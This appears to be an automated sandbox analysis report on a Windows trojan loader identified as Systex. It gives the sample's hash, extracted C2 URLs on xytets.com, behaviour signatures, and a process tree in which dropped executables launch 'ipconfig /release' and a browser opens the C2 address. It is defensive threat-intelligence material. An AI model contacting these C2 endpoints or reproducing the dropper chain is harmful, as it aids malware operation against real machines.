Analysis
- max time kernel
148s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
27/10/2026, 15:25
General
- Target 2026-10-26_68b663062b57b2ed029d0c246c253746_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 456KB
- Sample261027-st3eaad14w
- SHA256 6966644136630b0701d4ba1e95cf6e9c8e5aa33e3a4e31ebbda89b562506c5f1
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 41 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-26_68b663062b57b2ed029d0c246c253746_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-26_68b663062b57b2ed029d0c246c253746_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\wrpjhbztrmjecwuo.exeC:\Temp\wrpjhbztrmjecwuo.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zwuomhbzwr.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\zwuomhbzwr.exeC:\Temp\zwuomhbzwr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zwuomhbzwr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_zwuomhbzwr.exeC:\Temp\i_zwuomhbzwr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bztrljdbwt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bztrljdbwt.exeC:\Temp\bztrljdbwt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bztrljdbwt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bztrljdbwt.exeC:\Temp\i_bztrljdbwt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qojgdbvtol.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qojgdbvtol.exeC:\Temp\qojgdbvtol.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qojgdbvtol.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qojgdbvtol.exeC:\Temp\i_qojgdbvtol.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nlidbvtnlf.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\nlidbvtnlf.exeC:\Temp\nlidbvtnlf.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nlidbvtnlf.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_nlidbvtnlf.exeC:\Temp\i_nlidbvtnlf.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dyvqnifdav.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\dyvqnifdav.exeC:\Temp\dyvqnifdav.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dyvqnifdav.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_dyvqnifdav.exeC:\Temp\i_dyvqnifdav.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ausqkicaxs.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ausqkicaxs.exeC:\Temp\ausqkicaxs.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ausqkicaxs.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ausqkicaxs.exeC:\Temp\i_ausqkicaxs.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mkfcxupnhf.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\mkfcxupnhf.exeC:\Temp\mkfcxupnhf.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mkfcxupnhf.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_mkfcxupnhf.exeC:\Temp\i_mkfcxupnhf.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pmhfcwupmk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pmhfcwupmk.exeC:\Temp\pmhfcwupmk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pmhfcwupmk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_pmhfcwupmk.exeC:\Temp\i_pmhfcwupmk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwromhezx.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ecwromhezx.exeC:\Temp\ecwromhezx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwromhezx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ecwromhezx.exeC:\Temp\i_ecwromhezx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bwtomjebzw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bwtomjebzw.exeC:\Temp\bwtomjebzw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bwtomjebzw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bwtomjebzw.exeC:\Temp\i_bwtomjebzw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jgbywuoljd.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jgbywuoljd.exeC:\Temp\jgbywuoljd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jgbywuoljd.exe ups_ins3⤵
-
C:\Temp\i_jgbywuoljd.exeC:\Temp\i_jgbywuoljd.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bvtolgdywq.exe ups_run3⤵
-
C:\Temp\bvtolgdywq.exeC:\Temp\bvtolgdywq.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bvtolgdywq.exe ups_ins3⤵
-
C:\Temp\i_bvtolgdywq.exeC:\Temp\i_bvtolgdywq.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\idavtnlfdx.exe ups_run3⤵
-
C:\Temp\idavtnlfdx.exeC:\Temp\idavtnlfdx.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_idavtnlfdx.exe ups_ins3⤵
-
C:\Temp\i_idavtnlfdx.exeC:\Temp\i_idavtnlfdx.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\axvpnifays.exe ups_run3⤵
-
C:\Temp\axvpnifays.exeC:\Temp\axvpnifays.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_axvpnifays.exe ups_ins3⤵
-
C:\Temp\i_axvpnifays.exeC:\Temp\i_axvpnifays.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fdxvpnhfax.exe ups_run3⤵
-
C:\Temp\fdxvpnhfax.exeC:\Temp\fdxvpnhfax.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fdxvpnhfax.exe ups_ins3⤵
-
C:\Temp\i_fdxvpnhfax.exeC:\Temp\i_fdxvpnhfax.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\upmkfcxvpn.exe ups_run3⤵
-
C:\Temp\upmkfcxvpn.exeC:\Temp\upmkfcxvpn.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_upmkfcxvpn.exe ups_ins3⤵
-
C:\Temp\i_upmkfcxvpn.exeC:\Temp\i_upmkfcxvpn.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kecwuomhez.exe ups_run3⤵
-
C:\Temp\kecwuomhez.exeC:\Temp\kecwuomhez.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kecwuomhez.exe ups_ins3⤵
-
C:\Temp\i_kecwuomhez.exeC:\Temp\i_kecwuomhez.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwurmjhbw.exe ups_run3⤵
-
C:\Temp\ecwurmjhbw.exeC:\Temp\ecwurmjhbw.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwurmjhbw.exe ups_ins3⤵
-
C:\Temp\i_ecwurmjhbw.exeC:\Temp\i_ecwurmjhbw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gbztrljebz.exe ups_run3⤵
-
C:\Temp\gbztrljebz.exeC:\Temp\gbztrljebz.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_gbztrljebz.exe ups_ins3⤵
-
C:\Temp\i_gbztrljebz.exeC:\Temp\i_gbztrljebz.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffb2e00c188,0x7ffb2e00c194,0x7ffb2e00c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1868,i,206473124562478384,5662545608181000506,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1668,i,100808620873783748,8763596617838155550,262144 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2504,i,15923195373896646791,5377028558962903264,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3608,i,16461117898661520977,258868794177067997,2097152 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3612,i,17361443736159443491,5811723750788473795,2097152 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=3668 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4304,i,5861172670782531819,9511822099340215430,2097152 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4316,i,2857519942756765743,15256319448214353573,2097152 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3788,i,10486695529983073191,10027058353694010641,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5312,i,6802934145240387764,6691254714709662258,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5320,i,467879827239266736,12425223124866001926,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,10949112216117679695,884695291763806279,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,10949112216117679695,884695291763806279,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6292,i,683158985222046500,1084312719990769419,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6344,i,5078924142644051794,10598593492618612152,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6832,i,5547785098077083059,14140099813718662905,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=6840 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6872,i,15669756357463658608,8290985782142528096,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=6828 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4660,i,8271004135923571794,5848692780758841757,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=4448 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5080,i,9971224391822362375,1129488375670971688,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:144⤵
-
-
